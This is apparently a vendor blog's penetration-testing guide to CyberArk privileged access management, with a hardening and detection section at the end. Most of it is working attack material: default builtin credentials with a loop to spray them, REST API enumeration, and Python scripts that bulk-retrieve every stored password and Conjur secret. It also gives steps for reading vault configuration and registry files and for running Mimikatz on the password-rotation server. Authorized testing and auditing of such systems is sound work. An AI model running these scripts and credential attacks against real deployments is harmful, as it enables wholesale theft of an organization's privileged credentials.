CyberArk is the dominant Privileged Access Management platform in enterprise environments — installed at more than 50% of Fortune 500 companies. The Password Vault Web Access (PVWA) interface and its REST API are the primary attack surface for penetration testers. A successful CyberArk compromise does not yield one privileged account: it yields every privileged account the organization has ever stored. Domain admin passwords, root SSH keys, database service accounts, cloud API credentials — all of it lives in the vault. This guide covers authorized CyberArk security testing methodology for red teams, internal auditors, and PAM administrators validating their own deployments.
CyberArk Privileged Access Management is a suite of components, each with its own attack surface. Understanding the architecture is prerequisite to effective testing — the components communicate over specific ports and trust relationships, and compromising any single component can cascade to the others.
| Component | Default Port | Protocol | Primary Attack Vector |
|---|---|---|---|
| PVWA (web UI + REST API) | 443 | HTTPS/IIS | Credential attacks, REST API abuse, CVEs |
| Digital Vault | 1858 | CyberArk proprietary | Network exposure, SDK credential theft |
| DR Vault | 1858 | CyberArk proprietary | Often less-hardened replica — same credentials |
| CPM | — | Windows service | Service account credential exposure, rotation window |
| PSM RDP proxy | 3389 | RDP | Session hijacking, credential injection interception |
| PSMP SSH proxy | 22 | SSH | Brute force, key exposure on proxy host |
| Conjur | 443 | HTTPS | API token theft, policy enumeration, secret retrieval |
| EPM Console | 443 | HTTPS | Default credentials, policy enumeration |
PVWA runs on IIS and is typically deployed on a dedicated Windows Server. The login page is identifiable by its path structure and page content, making fingerprinting straightforward from either internal or — if misconfigured — external network positions.
# Nmap scan for CyberArk services
nmap -sV -p 443,1858,3389,22 TARGET --open
# PVWA login page fingerprint
curl -sk https://TARGET/PasswordVault/ -I | grep -i "server\|x-powered\|set-cookie"
# The PVWA login path
curl -sk https://TARGET/PasswordVault/v10/logon -I
# Returns 405 Method Not Allowed on GET — confirms PVWA presence
# Check PVWA version from the WCF service endpoint
curl -sk "https://TARGET/PasswordVault/WebServices/PIMServices.svc" \
| grep -i "version\|cyberark\|service"
# Check the PVWA about/version endpoint (authenticated in newer versions)
curl -sk "https://TARGET/PasswordVault/api/Server/Verify" | python3 -m json.tool
# PasswordVault IIS default headers
curl -sk https://TARGET/PasswordVault/ -v 2>&1 \
| grep -iE "server:|x-aspnet|x-powered|strict-transport"
# The PVWA login page reveals auth methods configured (CyberArk, LDAP, RADIUS, SAML)
curl -sk "https://TARGET/PasswordVault/v10/auth/CyberArk/Logon" -X OPTIONS -I
# Enumerate available authentication providers
curl -sk "https://TARGET/PasswordVault/api/Auth/GetAuthenticationMethods" \
| python3 -m json.tool
# Returns list of enabled auth types: CyberArk, LDAP, Windows, SAML, RADIUS, PKI
# WCF endpoint enumeration (legacy v9 API)
curl -sk "https://TARGET/PasswordVault/WebServices/PIMServices.svc?wsdl" \
| grep -i "operation\|method" | head -30
# Shodan/Censys dorks
# http.html:"CyberArk" port:443
# http.title:"PVWA" port:443
# ssl.cert.subject.cn:"pvwa" OR "cyberark" OR "vault"
# Detect Digital Vault on port 1858
nmap -sV -p 1858 VAULT-IP --version-intensity 5
# The vault uses a proprietary binary protocol — banner grabbing
nc -zv VAULT-IP 1858 2>&1
# A successful connection (TCP open) confirms vault presence
# DR Vault is often on a separate IP — check for port 1858 on adjacent hosts
nmap -sV -p 1858 192.168.1.0/24 --open 2>/dev/null | grep -i "open\|cyberark"
# Vault replication traffic: DR Vault synchronizes with primary via port 1858
# If network segmentation is weak, VAULT_PRIMARY:1858 may be accessible from segments
# that should not have direct vault access
CyberArk ships with a set of builtin accounts that have well-known default passwords in factory installations. These are the first things to test in an authorized engagement. Many organizations change the Administrator password but leave secondary accounts with defaults, particularly in non-production environments or after botched upgrades.
| Account | Default Password | Notes |
|---|---|---|
| Administrator | Cyberark1 | Primary vault admin — full access to all safes and accounts |
| Auditor | Cyberark1 | Read-only access to vault audit logs and session recordings |
| Master | (set at install) | Highest privilege; associated with the Master CD physical key |
| Operator | Cyberark1 | Used for DR Vault operations |
| Backup | Cyberark1 | Used for scheduled backup operations |
| DrUser | Cyberark1 | Disaster Recovery user for DR Vault authentication |
| NotificationEngine | Cyberark1 | Sends email notifications — SMTP credentials often stored here |
| PasswordManager | Cyberark1 | CPM service account — access to all managed account passwords |
| AppProviderUser | Cyberark1 | Application Identity Manager service account |
| PVWAAppUser | Cyberark1 | PVWA to Vault connectivity account |
| PVWAGWUser | Cyberark1 | PVWA gateway user |
| PSMAppUser | Cyberark1 | PSM to Vault connectivity account |
# Test Administrator default credentials
curl -sk -X POST "https://TARGET/PasswordVault/api/auth/CyberArk/Logon" \
-H "Content-Type: application/json" \
-d '{"username":"Administrator","password":"Cyberark1","concurrentSession":true}' \
| python3 -m json.tool
# Success response: {"token": "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9..."}
# Failure response: {"ErrorCode":"ITATS542I","ErrorMessage":"Authentication failure for User Administrator."}
# Test all builtin accounts in a loop
for user in Administrator Auditor Operator Backup DrUser NotificationEngine PasswordManager AppProviderUser PVWAAppUser; do
resp=$(curl -sk -X POST "https://TARGET/PasswordVault/api/auth/CyberArk/Logon" \
-H "Content-Type: application/json" \
-d "{\"username\":\"$user\",\"password\":\"Cyberark1\"}" \
-w "\nHTTP_STATUS:%{http_code}")
status=$(echo "$resp" | grep -oP "(?<=HTTP_STATUS:)\d+")
echo "$user: HTTP $status"
done
The CyberArk REST API (v10+ endpoint base: /PasswordVault/api/, legacy v9: /PasswordVault/WebServices/PIMServices.svc/) exposes the full suite of vault operations. With a valid session token, an attacker can enumerate safes, list accounts, retrieve credentials, and manage vault users. All responses are JSON.
# Authenticate with CyberArk native credentials
TOKEN=$(curl -sk -X POST "https://TARGET/PasswordVault/api/auth/CyberArk/Logon" \
-H "Content-Type: application/json" \
-d '{"username":"Administrator","password":"Cyberark1","concurrentSession":true}' \
| tr -d '"')
echo "Session token: $TOKEN"
# Token is a JWT — decode to inspect claims (no signature verification needed for info)
echo $TOKEN | cut -d'.' -f2 | base64 -d 2>/dev/null | python3 -m json.tool
# Authenticate via LDAP/Active Directory integration
# This uses AD credentials — valuable if you have a compromised domain account
TOKEN=$(curl -sk -X POST "https://TARGET/PasswordVault/api/auth/LDAP/Logon" \
-H "Content-Type: application/json" \
-d '{"username":"jsmith","password":"Password123","concurrentSession":false}' \
| tr -d '"')
# SAML-based SSO authentication (for IdP-integrated deployments)
# SAML assertions can be forged if you have access to the IdP signing key
# POST /PasswordVault/api/auth/SAML/Logon with SAMLResponse in body
# RADIUS authentication (OTP bypass testing)
curl -sk -X POST "https://TARGET/PasswordVault/api/auth/RADIUS/Logon" \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"123456","concurrentSession":false}'
# List all safes the authenticated user has access to
curl -sk "https://TARGET/PasswordVault/api/Safes" \
-H "Authorization: $TOKEN" | python3 -m json.tool
# Search safes by keyword (useful for targeting high-value safes)
curl -sk "https://TARGET/PasswordVault/api/Safes?search=root" \
-H "Authorization: $TOKEN" | python3 -m json.tool
# Pagination — get all safes (default limit is 25)
curl -sk "https://TARGET/PasswordVault/api/Safes?limit=1000&offset=0" \
-H "Authorization: $TOKEN" | python3 -c "
import sys, json
data = json.load(sys.stdin)
print(f'Total safes: {data.get(\"count\", \"N/A\")}')
for safe in data.get('value', []):
print(f' Safe: {safe[\"safeName\"]} | Members: {safe.get(\"numberOfVersionsRetention\", \"N/A\")} | Objects: {safe.get(\"numberOfAccountsInSafe\", 0)}')
"
# Get specific safe details
curl -sk "https://TARGET/PasswordVault/api/Safes/ROOT" \
-H "Authorization: $TOKEN" | python3 -m json.tool
# List safe members (who has access to a safe and with what permissions)
curl -sk "https://TARGET/PasswordVault/api/Safes/ROOT/Members" \
-H "Authorization: $TOKEN" | python3 -m json.tool
# List all accounts across all safes
curl -sk "https://TARGET/PasswordVault/api/Accounts?limit=1000" \
-H "Authorization: $TOKEN" | python3 -m json.tool
# Filter accounts by safe name
curl -sk "https://TARGET/PasswordVault/api/Accounts?filter=safeName%20eq%20DomainAdmins&limit=100" \
-H "Authorization: $TOKEN" | python3 -c "
import sys, json
data = json.load(sys.stdin)
for acct in data.get('value', []):
print(f'ID: {acct[\"id\"]} | Name: {acct[\"name\"]} | Address: {acct.get(\"address\",\"\")} | Username: {acct.get(\"userName\",\"\")} | Safe: {acct[\"safeName\"]}')
"
# Search for specific high-value account types
for keyword in admin root administrator sa svc-; do
echo "=== Searching for: $keyword ==="
curl -sk "https://TARGET/PasswordVault/api/Accounts?search=$keyword&limit=50" \
-H "Authorization: $TOKEN" \
| python3 -c "import sys,json; [print(f' {a[\"id\"]}: {a.get(\"userName\",\"\")}@{a.get(\"address\",\"\")} [{a[\"safeName\"]}]') for a in json.load(sys.stdin).get('value',[])]"
done
# List all users registered in the vault
curl -sk "https://TARGET/PasswordVault/api/Users?limit=500" \
-H "Authorization: $TOKEN" | python3 -m json.tool
# List all platforms (defines how CPM manages account types)
curl -sk "https://TARGET/PasswordVault/api/Platforms?Active=True" \
-H "Authorization: $TOKEN" | python3 -m json.tool
# Get specific platform details — reveals CPM plugin configuration
curl -sk "https://TARGET/PasswordVault/api/Platforms/WinServerLocal" \
-H "Authorization: $TOKEN" | python3 -m json.tool
# Platforms reveal which systems are under management:
# WinServerLocal — local Windows admin accounts
# WinDomain — domain accounts
# UnixSSH — Unix/Linux root and service accounts
# Oracle — database DBA accounts
# MySQL — database accounts
# AWS — IAM access keys
# AzureDirectory — Azure AD service principals
There are several paths to retrieving actual credential values from CyberArk. The REST API provides the most direct route when authenticated. The file system on the vault server provides a secondary path if you have OS-level access to the vault Windows host.
# Retrieve the current password for a specific account by account ID
# This requires the "Retrieve accounts" permission on the safe
curl -sk -X POST "https://TARGET/PasswordVault/api/Accounts/{accountId}/Password/Retrieve" \
-H "Authorization: $TOKEN" \
-H "Content-Type: application/json" \
-d '{"reason":"Authorized penetration test","TicketingSystemName":"","TicketId":"","isUse":false,"ActionType":"show","Machine":""}' \
| python3 -m json.tool
# Response: {"password": "P@ssword123!"}
# Enumerate all accounts and retrieve each password (bulk extraction)
python3 << 'EOF'
import requests, json, urllib3
urllib3.disable_warnings()
PVWA = "https://TARGET"
TOKEN = "YOUR_SESSION_TOKEN"
headers = {"Authorization": TOKEN, "Content-Type": "application/json"}
# Get all accounts
resp = requests.get(f"{PVWA}/PasswordVault/api/Accounts?limit=500",
headers=headers, verify=False)
accounts = resp.json().get("value", [])
print(f"Found {len(accounts)} accounts\n")
for acct in accounts:
acct_id = acct["id"]
name = acct.get("name", "")
username = acct.get("userName", "")
address = acct.get("address", "")
safe = acct.get("safeName", "")
# Attempt password retrieval
try:
r = requests.post(
f"{PVWA}/PasswordVault/api/Accounts/{acct_id}/Password/Retrieve",
headers=headers,
json={"reason": "Authorized test", "isUse": False, "ActionType": "show"},
verify=False
)
if r.status_code == 200:
print(f"[+] {username}@{address} ({safe}): {r.json()}")
else:
print(f"[-] {username}@{address}: {r.status_code} - {r.text[:80]}")
except Exception as e:
print(f"[!] {username}: {e}")
EOF
# Retrieve SSH private key stored in CyberArk
curl -sk -X POST "https://TARGET/PasswordVault/api/Accounts/{accountId}/Password/Retrieve" \
-H "Authorization: $TOKEN" \
-H "Content-Type: application/json" \
-d '{"reason":"Authorized test","isUse":false,"ActionType":"show","Machine":""}'
# For SSH key accounts, the "password" field contains the PEM-encoded private key
# Get next password (for accounts with dual-control requiring checkout)
curl -sk -X POST "https://TARGET/PasswordVault/api/Accounts/{accountId}/CheckOut" \
-H "Authorization: $TOKEN" \
-H "Content-Type: application/json" \
-d '{"reason":"Authorized test","TicketingSystemName":"","TicketId":""}'
# Check in after use (important to avoid leaving accounts in checked-out state)
curl -sk -X POST "https://TARGET/PasswordVault/api/Accounts/{accountId}/CheckIn" \
-H "Authorization: $TOKEN" \
-H "Content-Type: application/json" \
-d '{"reason":"Authorized test"}'
If you achieve OS-level access to the Digital Vault Windows server (via domain admin or direct exploitation), the following files contain critical configuration data. The vault database encryption key is derived from a hardware security module (HSM) or software-based key, making offline decryption of the vault database impractical without the keys — but configuration files still expose sensitive integration credentials.
# Default CyberArk vault installation path
# C:\Program Files (x86)\PasswordVault\
# DBParm.ini — vault database connectivity parameters
# Contains the SQL Server/Oracle connection string and encrypted DB password
type "C:\Program Files (x86)\PasswordVault\Server\DBParm.ini"
# Key fields: Address=, DBName=, Port=, Credentials=
# Vault.ini — vault server connection parameters
type "C:\Program Files (x86)\PasswordVault\Vault.ini"
# Contains: VaultIP, Port=1858, Timeout, LogFile paths
# PVConfiguration.xml — main vault configuration
# Contains component connection settings, audit log destinations, SNMP config
type "C:\Program Files (x86)\PasswordVault\Server\PVConfiguration.xml"
# PVWA web.config — IIS configuration with vault connection credentials
# Located on the PVWA server (separate from vault)
type "C:\inetpub\wwwroot\PasswordVault\web.config"
# Contains encrypted connection strings to the vault
# CPM configuration — CPM server, contains vault credentials
# C:\Program Files (x86)\CyberArk\Password Manager\
type "C:\Program Files (x86)\CyberArk\Password Manager\Vault.ini"
# CyberArk vault Windows registry — stores encrypted vault credentials
reg query "HKLM\SOFTWARE\CyberArk\CyberArk Digital Vault" /s 2>nul
# If you gain access to the SQL Server instance backing the vault
# The vault database schema stores account metadata (NOT passwords — passwords
# are stored encrypted in the vault's own proprietary storage layer)
# However, the schema reveals safe structure, account metadata, and audit trails
# Connect to vault DB (credentials from DBParm.ini)
sqlcmd -S VAULT-DB-IP -U vaultuser -P "DBPassword" -d PasswordVaultDB
-- Enumerate safes
SELECT SafeName, Description, NumberOfVersionsRetention FROM SAFE;
-- Enumerate accounts stored in safes (metadata only — no passwords)
SELECT ObjectName, SafeName, CreationDate, LastModifiedDate
FROM OBJECT
ORDER BY LastModifiedDate DESC;
-- Vault users and permissions
SELECT UserName, UserType, LastSuccessfulLogon, FailedLogonCount
FROM VAULTUSER;
-- Audit log — reveals who retrieved which credentials and when
SELECT LogDate, Username, Action, SafeName, ObjectName, StationAddress
FROM VAULTLOG
WHERE Action = 'Retrieve' AND LogDate > DATEADD(day, -30, GETDATE())
ORDER BY LogDate DESC;
CyberArk commonly integrates with Active Directory for user authentication and group-based safe permissions. This integration requires an LDAP bind account — a service account with read access to AD. That bind account's credentials are stored in the vault, which creates an interesting circular trust relationship: the vault stores the AD bind credentials, and AD credentials are used to authenticate to the vault.
# LDAP directory mappings are stored in the vault — retrieve them via API
# First, find the safe that stores LDAP credentials (typically "System" or "VaultInternal")
curl -sk "https://TARGET/PasswordVault/api/Accounts?search=ldap&limit=100" \
-H "Authorization: $TOKEN" | python3 -m json.tool
# CyberArk stores its own LDAP bind credentials in the "PVWAConfig" safe
# Search for PVWA configuration accounts
curl -sk "https://TARGET/PasswordVault/api/Accounts?filter=safeName%20eq%20PVWAConfig" \
-H "Authorization: $TOKEN" | python3 -m json.tool
# LDAP configuration endpoint (admin only)
curl -sk "https://TARGET/PasswordVault/api/Configuration/LDAP/Directories" \
-H "Authorization: $TOKEN" | python3 -m json.tool
# Returns: directory URL, bind DN, and sometimes the bind password
# The LDAP bind DN and domain controller addresses are exposed here
# Use these to attempt LDAP enumeration directly
ldapsearch -H ldap://DC-IP \
-D "CN=cyberark-bind,OU=ServiceAccounts,DC=corp,DC=local" \
-w "BindPassword" \
-b "DC=corp,DC=local" "(objectClass=user)" sAMAccountName memberOf
# If you can modify the LDAP directory configuration (requires vault admin),
# you can redirect CyberArk's LDAP authentication to a rogue LDAP server
# to capture credentials of users who authenticate via AD
# Read current LDAP configuration
curl -sk "https://TARGET/PasswordVault/api/Configuration/LDAP/Directories" \
-H "Authorization: $TOKEN"
# The LDAP configuration includes:
# - HostAddresses: list of LDAP/LDAPS server IPs
# - BindDN: service account for LDAP queries
# - BindPassword: service account password (may be returned in API response)
# - DomainName, DomainBaseContext, DomainSearchFilter
# LDAPS certificate validation: if LDAPS is configured without strict cert validation,
# a MITM position on the network can intercept LDAP bind credentials
# Check PVWA server configuration for certificate pinning:
# C:\inetpub\wwwroot\PasswordVault\App_Data\CyberArk.WebApplication.sln.xml
The Central Policy Manager (CPM) is the password rotation component. It connects to managed target systems (Windows local admins, AD accounts, SSH accounts, databases) using the current stored password to change it to a new one. During the brief window between the old password being used for authentication and the new password being stored back in the vault, there is a credential exposure opportunity.
# CPM runs as a Windows service on its own server
# The service typically runs as LocalSystem or a dedicated domain service account
# If CPM is domain-joined, the CPM machine account has elevated privileges
# Identify CPM server in Active Directory
Get-ADComputer -Filter {Description -like "*CPM*" -or Name -like "*CPM*"} -Properties Description
# CPM connects to the vault over port 1858 using the PasswordManager account
# PasswordManager credentials are stored in CPM's local credential store:
# C:\Program Files (x86)\CyberArk\Password Manager\Vault\
# Mimikatz on CPM server (if you have DA or local admin on CPM)
# CPM may hold decrypted passwords in process memory during rotation
sekurlsa::logonpasswords # May capture PasswordManager vault credentials in LSASS
# CPM configuration file
type "C:\Program Files (x86)\CyberArk\Password Manager\PMTerminal.ini"
# Reveals vault connection parameters
# Process memory dump during an active rotation cycle
# Schedule a rotation and capture LSASS during the window:
# 1. Trigger rotation via REST API
curl -sk -X POST "https://TARGET/PasswordVault/api/Accounts/{accountId}/Change" \
-H "Authorization: $TOKEN" \
-H "Content-Type: application/json" \
-d '{"ChangeEntireGroup":false}'
# 2. Capture CPM process memory within the rotation window
# During a password rotation, CyberArk:
# 1. Reads the current password from the vault
# 2. Connects to the target system with the current password
# 3. Changes the password on the target system
# 4. Updates the vault with the new password
# If step 4 fails (network issue, timeout), there is a split-brain state
# Force rotation to trigger the window
curl -sk -X POST "https://TARGET/PasswordVault/api/Accounts/{accountId}/Change" \
-H "Authorization: $TOKEN" \
-H "Content-Type: application/json" \
-d '{"ChangeEntireGroup":false}'
# Monitor vault audit logs to observe rotation activity
curl -sk "https://TARGET/PasswordVault/api/AuditActions?limit=50" \
-H "Authorization: $TOKEN" | python3 -m json.tool
# Check account "retrieval by CPM" events — reveals when CPM last accessed each account
curl -sk "https://TARGET/PasswordVault/api/Accounts/{accountId}/Activities" \
-H "Authorization: $TOKEN" | python3 -m json.tool
CyberArk Conjur is an open-source secrets manager designed for CI/CD pipelines and application credentials. It exposes a REST API and uses policy files to define access. Conjur OSS (self-hosted) is commonly deployed alongside CyberArk PAM for application-to-application credential management. Unlike the Digital Vault, Conjur has no default password for the admin account — it is set at installation time — but the policy model frequently has overly permissive role assignments.
# Conjur API root
curl -sk "https://CONJUR-HOST/info" | python3 -m json.tool
# Returns: {"version":"...", "release":"...", "account":"...", "services":{...}}
# Authentication (returns short-lived API token)
# Method 1: API key (initial)
API_TOKEN=$(curl -sk -X POST \
"https://CONJUR-HOST/authn/{account}/admin/authenticate" \
--data-urlencode "api_key=YOUR_API_KEY" \
| base64 | tr -d '\n')
echo "Conjur API Token: $API_TOKEN"
# Method 2: Authenticate as a host (application identity)
HOST_TOKEN=$(curl -sk -X POST \
"https://CONJUR-HOST/authn/{account}/host%2Fmyapp%2Fprod/authenticate" \
--data-urlencode "api_key=HOST_API_KEY" \
| base64 | tr -d '\n')
# List resources (all objects the authenticated identity can see)
curl -sk "https://CONJUR-HOST/resources/{account}" \
-H "Authorization: Token token=\"$API_TOKEN\"" | python3 -m json.tool
# List all variables (secrets) visible to the authenticated identity
curl -sk "https://CONJUR-HOST/resources/{account}?kind=variable&limit=1000" \
-H "Authorization: Token token=\"$API_TOKEN\"" \
| python3 -c "
import sys, json
data = json.load(sys.stdin)
for resource in data:
print(f' Variable: {resource[\"id\"]}')
"
# Get policy details (who can access what)
curl -sk "https://CONJUR-HOST/policies/{account}/policy/root" \
-H "Authorization: Token token=\"$API_TOKEN\"" | python3 -m json.tool
# List all roles that have access to a specific policy branch
curl -sk "https://CONJUR-HOST/roles/{account}/policy/production" \
-H "Authorization: Token token=\"$API_TOKEN\"" | python3 -m json.tool
# Retrieve a specific secret by variable path
curl -sk "https://CONJUR-HOST/secrets/{account}/variable/{variable-path}" \
-H "Authorization: Token token=\"$API_TOKEN\""
# Response: the plaintext secret value
# Batch secret retrieval (retrieve multiple secrets in one call)
curl -sk -X POST "https://CONJUR-HOST/secrets?variable_ids={account}:variable:db/prod/password,{account}:variable:aws/access-key-id" \
-H "Authorization: Token token=\"$API_TOKEN\"" | python3 -m json.tool
# Iterate over all visible variables and attempt retrieval
python3 << 'EOF'
import requests, json, urllib3, base64
urllib3.disable_warnings()
CONJUR = "https://CONJUR-HOST"
ACCOUNT = "myorg"
TOKEN = "YOUR_BASE64_API_TOKEN"
headers = {"Authorization": f"Token token=\"{TOKEN}\""}
# Get all variables
resp = requests.get(
f"{CONJUR}/resources/{ACCOUNT}?kind=variable&limit=1000",
headers=headers, verify=False
)
for resource in resp.json():
var_id = resource["id"].split(":", 2)[2] # Strip account:variable: prefix
r = requests.get(
f"{CONJUR}/secrets/{ACCOUNT}/variable/{requests.utils.quote(var_id, safe='')}",
headers=headers, verify=False
)
if r.status_code == 200:
print(f"[+] {var_id}: {r.text[:100]}")
else:
print(f"[-] {var_id}: {r.status_code}")
EOF
/authn-jwt/{account}/authenticate), testing for JWT algorithm confusion (alg:none, RS256-to-HS256 downgrade) may allow forging application identities and retrieving secrets the target application has access to.
CyberArk maintains a security advisory page. The following CVEs are particularly relevant to authorized penetration testing engagements against CyberArk deployments.
| CVE | CVSS | Component | Description |
|---|---|---|---|
| CVE-2022-22695 | 6.5 | PVWA | Information disclosure — sensitive data returned in HTTP response headers or error messages in certain PVWA versions, potentially leaking internal hostnames and vault configuration details. |
| CVE-2021-31799 | 7.8 | CyberArk Agent | Privilege escalation in the CyberArk Agent component on Windows endpoints. A local user can exploit the agent's elevated service to escalate privileges to SYSTEM. |
| CVE-2020-8950 | 7.8 | EPM (Endpoint Privilege Management) | Local privilege escalation via the EPM client on Windows. The EPM agent's unquoted service path allows DLL hijacking or binary substitution to execute as SYSTEM. |
| CVE-2018-9843 | 9.8 | PVWA REST API | Authentication bypass affecting versions prior to 10.3. The REST API's session token validation could be bypassed under certain conditions, granting unauthenticated access to vault operations. |
| CyberArk Safe Buffer Overflow | N/A | Vault (pre-12.x) | Buffer overflow in safe name handling. Overly long safe names could corrupt memory during certain API operations in pre-12.x vault versions. |
# PVWA version from the server verify endpoint
curl -sk "https://TARGET/PasswordVault/api/Server/Verify" \
-H "Authorization: $TOKEN" | python3 -m json.tool
# Returns: {"ApplicationName":"Privilege Cloud","AuthType":"...","Customizations":{...}}
# Check PVWA IIS version from response headers (useful for CVE mapping)
curl -sk https://TARGET/PasswordVault/ -I 2>&1 | grep -iE "server:|x-aspnet"
# Check vault version from system info endpoint
curl -sk "https://TARGET/PasswordVault/api/ComponentsMonitoringDetails/Vaults" \
-H "Authorization: $TOKEN" | python3 -m json.tool
# Returns component versions for Vault, PVWA, CPM, PSM
# Detect Conjur version
curl -sk "https://CONJUR-HOST/info" | python3 -c "
import sys, json
info = json.load(sys.stdin)
print('Conjur version:', info.get('release', info.get('version', 'unknown')))
"
# Nuclei templates for CyberArk
nuclei -u https://TARGET -tags cyberark -severity critical,high -v
Successful CyberArk vault access represents the highest-impact single compromise in an enterprise environment. The vault is the single source of truth for privileged credentials — by design, it centralizes everything you need to move laterally to every system in the organization.
# Target high-value safe categories first
# Domain admin accounts (immediate domain compromise)
curl -sk "https://TARGET/PasswordVault/api/Accounts?search=domain%20admin&limit=100" \
-H "Authorization: $TOKEN" | python3 -m json.tool
# Database DBA accounts (access to production databases)
curl -sk "https://TARGET/PasswordVault/api/Accounts?search=dba&limit=100" \
-H "Authorization: $TOKEN" | python3 -m json.tool
# Cloud platform credentials (AWS root/IAM, Azure AD global admin, GCP project owner)
curl -sk "https://TARGET/PasswordVault/api/Accounts?search=aws&limit=100" \
-H "Authorization: $TOKEN" | python3 -m json.tool
# Firewall and network device credentials
curl -sk "https://TARGET/PasswordVault/api/Accounts?search=firewall&limit=100" \
-H "Authorization: $TOKEN" | python3 -m json.tool
# VMware vCenter and ESXi accounts
curl -sk "https://TARGET/PasswordVault/api/Accounts?search=vcenter&limit=100" \
-H "Authorization: $TOKEN" | python3 -m json.tool
| Control | Risk if Missing | Implementation |
|---|---|---|
| Change all default passwords | Critical | Change Administrator, Auditor, Operator, Backup, DrUser, and all builtin account passwords at deployment. Use a password manager for the Master account credentials. |
| MFA for PVWA access | Critical | Enable RADIUS OTP, SAML with MFA, or PKI certificate authentication for all PVWA access. CyberArk native auth alone (username/password) should not be used in production. |
| Network segmentation — vault port 1858 | Critical | The Digital Vault port 1858 must only be reachable from PVWA, CPM, PSM, and PSMP server IPs. No end-user workstations should have any network path to port 1858. |
| PVWA restricted to management network | High | PVWA should not be internet-facing. Place behind a VPN or restrict to the corporate network. If remote access is required, require MFA at the VPN layer before reaching PVWA. |
| Dual control for sensitive safes | High | Configure "Dual Control" on high-sensitivity safes (domain admins, production DBAs) so that two approvers must confirm a retrieval request. This adds an audit trail for every retrieval. |
| Safe permission audit | High | Regularly audit safe memberships. Service accounts should only have "Retrieve" permission — not "List Accounts", "Manage Safe Members", or "Manage Safe" unless explicitly required. Use the Vault Usage report. |
| Mass retrieval alerting | High | Configure PTA or SIEM alerts for any user or application retrieving more than 10 passwords within a 5-minute window. This is the primary detection signal for a vault breach. |
| Vault audit log forwarding | High | Forward vault audit logs (PVWA syslog) to an external SIEM that the vault admin cannot modify. Vault admin access to the SIEM should be segregated from vault admin access to CyberArk itself. |
| PSM mandatory routing | Medium | Configure PVWA policies to require session establishment through PSM for all privileged accounts. Disable direct connection. This ensures all sessions are recorded and cannot be bypassed via the REST API alone. |
| Conjur policy review | Medium | Audit Conjur policies for wildcard grants (!permit role: !group:all) and overly broad host layer assignments. Each application identity should only have access to its own secrets. |
| CPM least privilege | Medium | The CPM service account (PasswordManager) should not have "Manage Safe" or "Safe Owner" permissions. Scope its permissions to only the safes containing accounts it is responsible for rotating. |
| Master CD physical security | Critical | Store the Master CD/USB in a physical safe with dual-person access control (two-person integrity). Never store a digital copy of the Master private key anywhere accessible online. Test recovery procedures annually. |
# Vault audit log events to alert on (CyberArk syslog format)
# Syslog is forwarded from PVWA server — parse for these event codes:
# ITATS068I — Password retrieved (high volume = potential mass extraction)
# ITATS006I — Safe added (new safe creation — potential attacker staging safe)
# ITATS007I — Safe deleted (destructive action)
# ITATS095I — User added (attacker creating persistence account)
# ITATS094I — User deleted
# ITATS059I — Vault impersonation (attempting to act as another user)
# ITATS534I — Failed authentication (brute force indicator)
# Sample Splunk query for mass credential retrieval
# index=cyberark EventCode="ITATS068I"
# | stats count by User, _time span=5m
# | where count > 10
# | table _time, User, count
# Alert on direct vault port access from unauthorized sources
# Any traffic to VAULT-IP:1858 from IPs outside the PVWA/CPM/PSM IP whitelist
# is a strong indicator of compromise (either network misconfig or active attack)
Ironimo's automated security scanner covers PAM infrastructure testing — including PVWA default credential checks, REST API exposure validation, safe permission auditing, and configuration compliance against CyberArk hardening benchmarks. Add CyberArk to your automated scan rotation so regressions are caught before attackers find them.
Start free scanCyberArk PAM is simultaneously the most important security control in an enterprise environment and — if misconfigured or compromised — the most catastrophic single point of failure. The attack surface spans PVWA default credential checks (Administrator/Cyberark1 and a dozen other builtin accounts), the REST API which permits authenticated bulk credential extraction, the vault's own configuration files if OS access is obtained, LDAP integration bind credentials, CPM rotation window exploitation, and Conjur's secrets API for application credential exposure.
The post-exploitation impact of a CyberArk vault compromise is total: domain admin credentials, database service accounts, cloud platform API keys, SSH private keys for Linux infrastructure, and network device credentials are all stored in a single location. For authorized red team engagements, CyberArk should be in scope as a target if reachable from the engagement network — not because it is easy to compromise, but because compromising it conclusively demonstrates the catastrophic impact of a persistent threat actor in the environment. For defenders, the key controls are MFA on PVWA, vault port 1858 network isolation, dual control on high-sensitivity safes, and SIEM alerting on mass retrieval events.